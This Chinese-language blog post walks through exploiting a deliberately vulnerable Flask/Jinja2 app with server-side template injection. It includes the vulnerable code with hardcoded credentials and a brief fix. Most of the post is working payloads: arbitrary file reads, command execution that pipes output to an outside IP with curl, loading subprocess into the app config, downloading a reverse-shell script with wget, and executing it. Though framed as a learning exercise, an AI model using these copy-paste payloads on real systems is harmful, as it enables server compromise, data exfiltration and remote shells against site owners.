python 模板注入

  今天學習了python的模板注入,這裏自己搭建環境測試以下,參考文章:http://www.freebuf.com/articles/web/136118.html

  web 程序包括兩個文件:

  flask-test.py 和 Config.py 文件

  

 #!/usr/bin/env python
# -*- coding:utf8 -*-


import hashlib
import logging
from datetime import timedelta

from flask import Flask
from flask import request
from flask import config
from flask import session
from flask import render_template_string


from Config import ProductionConfig

app = Flask(__name__)
handler = logging.StreamHandler()
logging_format = logging.Formatter(
'%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s')
handler.setFormatter(logging_format)
app.logger.addHandler(handler)

app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7"
app.config.from_object(ProductionConfig) #將配置類中的配置導入程序
app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期
page_size = 60
app.config['UPLOAD_DIR'] = '/var/www/html/upload'
app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update'
app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download'



@app.route('/')
def hello_world():
  return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
  template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
  return render_template_string(template), 404

if __name__ == '__main__':
  app.run()
Config.py
#!/usr/bin/env python # -*- coding: UTF-8 -*- class Config(object): ACCOUNT = 'vpgame' PASSWORD = 'win666666' class DevlopmentConfig(Config):   pass class TestingConfig(Config):   pass class ProductionConfig(Config):   HOST = '127.0.0.1'   PORT = 65521   DBUSERNAME = 'vpgame'   DBPASSWORD = 'win666666'   DBNAME = 'vpgame'

  kali上搭建有漏洞的flask web服務

  

 注:以上代碼存在ssti漏洞點在於render_template_string函數在渲染模板的時候使用了%s來動態的替換字符串,我們知道Flask 中使用了Jinja2 作爲模板渲染引擎,{{}}在Jinja2中作爲變量包裹標識符,Jinja2在渲染的時候會把{{}}包裹的內容當做變量解析替換。

  解決方法:

 將template 中的 ”’<h3> %s!</h3>”’ % request.url 更改爲 ”’<h3>{{request.url}}</h3>”’ ,這樣以來,Jinja2在模板渲染的時候將request.url的值替換掉{{request.url}}, 而不會對request.url內容進行二次渲染(這樣即使request.url中含有{{}}也不會進行渲染,而只是把它當做普通字符串)

 下面來利用這個漏洞搞點事情:

 1.SSTI 利用之任意文件讀取

關於類對象

instance.__class__ 可以獲取當前實例的類對象

我們知道python中新式類(也就是顯示繼承object對象的類)都有一個屬性__class__可以獲取到當前實例對應的類,隨便選擇一個簡單的新

式類實例,比如”,一個空字符串,就是一個新式類實例,所以”.__class__ 就可以獲取到實例對應的類(也就是<type ‘str’>)

 

類對象中的屬性__mro__

class.__mro__ 獲取當前類對象的所有繼承類'

python中類對象有一個屬性__mro__, 這個屬性返回一個tuple對象,這個對象包含了當前類對象所有繼承的基類,tuple中元素的順序就是MRO(Method Resolution Order) 尋找的順序

 

從結果中可以發現”對應的類對象str繼承的順序是basestring->object

類對象中的方法__subclasses__()    

每一個新式類都保留了它所有的子類的引用,__subclasses__()這個方法返回了類的所有存活的子類的引用(注意是類對象引用,不是實例)

我們知道python中的類都是繼承object的,所以只要調用object類對象的__subclasses__()方法就可以獲取我們想要的類的對象,比如用於讀取文件的file對象

通過以上的python代碼就能夠找到有讀文件功能的類(可以加上大小寫)

這裏找到了file對象來進行文件的讀取

這裏成功利用file對象的匿名實例化,併爲其傳參要讀取的文件名,通過調用其讀文件函數read就可以對文件進行讀取了。

2.SSTI 利用之命令執行

 我們還可以在object的所有子類中找可以引入了os模塊的類,並以此來執行命令

 由於執行命令最終的結果無法回顯到瀏覽器端,因此我們把結果發送到vps上,比如我們想執行ls命令,查看當前路徑的文件,那麼

 

 

 所以我們使用payload

http://127.0.0.1:5000/{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls > tt.txt & cat tt.txt | xargs -I {} curl http://172.93.33.250/?{}')}}
http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[71].__init__.__globals__['os'].system%28'ls%20%3E%20tt.txt%20&%20cat%20tt.txt%20|%20xargs%20-I%20%7B%7D%20curl%20http://172.93.33.250/?{}%27%29}}

這裏使用了linux的管道命令,首先把ls的結果寫入到tt.txt中,然後把裏面的每一個文件名作爲參數分別向自己的vps發送請求,所以最終只需要查看自己的vps的訪問日誌,就可以查看到目標路徑下的所有文件名

這裏用到了xargs來傳遞管道參數,xargs的一個選項-I,使用-I指定一個替換字符串{},這個字符串在xargs擴展時會被替換掉,當-I與xargs結合使用,每一個參數命令都會被執行一次(注:xargs的詳細用法見http://man.linuxde.net/xargs)

利用同樣的方法,我們也可以繼續查看其他命令的執行結果

3.SSTI 利用之遠程代碼執行

如果不能利用os模塊在服務器端執行命令,那麼還可以利用susprocess模塊來執命令,比如利用subprocess的check_output函數

在代碼中因爲使用了flask.config它是一個類似字典的對象,包含了應用程序所有的配置文件信息(你所有的用app.config.xxx | app.config['xxx'] 配置信息 都在config這個上下文對象中),在很多的例子中,這個config對象包含了很多敏感的信息,比如數據庫連接信息,連接第三方服務的SECRET_KEY等

使用config.items()就能夠獲得所有的配置信息

而config.from_object(args)能將其參數所指模塊中的大寫屬性加入config對象實例中,通過執行{{config.from_object('os')}} ,{{config.items()}},就能看到

在這裏我們先把想要調用的命令執行函數作爲配置信息,寫入一個py文件中

 

http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[40]%28'/tmp/tmp.cfg','w'%29.write%28'from%20subprocess%20import%20check_output%5Cn%5CnRUNCMD=check_output'%29%7D%7D

 

 

文件寫入完成,然後通過config.from_pyfile函數來導入指定py文件中的大寫屬性加入到config這個上下文對象中(這就是爲什麼用RUNCMD了,大寫)

 

 

 

 

 此時check_output函數已經導入,也就是可以執行命令的函數已經導入到了config變量中。

 

 此時遠程下載反彈shell的腳本

 

http://127.0.0.1:5000/%7B%7Bconfig['RUNCMD']%28'/usr/bin/wget%20http://172.93.33.250/shell.py%20-O%20/tmp/shell.py',%20shell=True%29%7D%7D

 此時已經在目標服務器上下載了reverse的py腳本,接下來只需要使其執行即可得到shell

http://127.0.0.1:5000/%7B%7Bconfig.from_pyfile%28%22/tmp/shell.py%22%29%7D%7D

首先在自己的vps上用nc監聽21192端口,然後通過config.from_pyfile來導入反彈shell的腳本,python在導入模塊的同時也會執行腳本中部分代碼(class 和方法的定義不會執行),利用這一點,就可以執行反彈shell 了

此時已經拿到了目標機器的shell

 

 

 

 

 

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章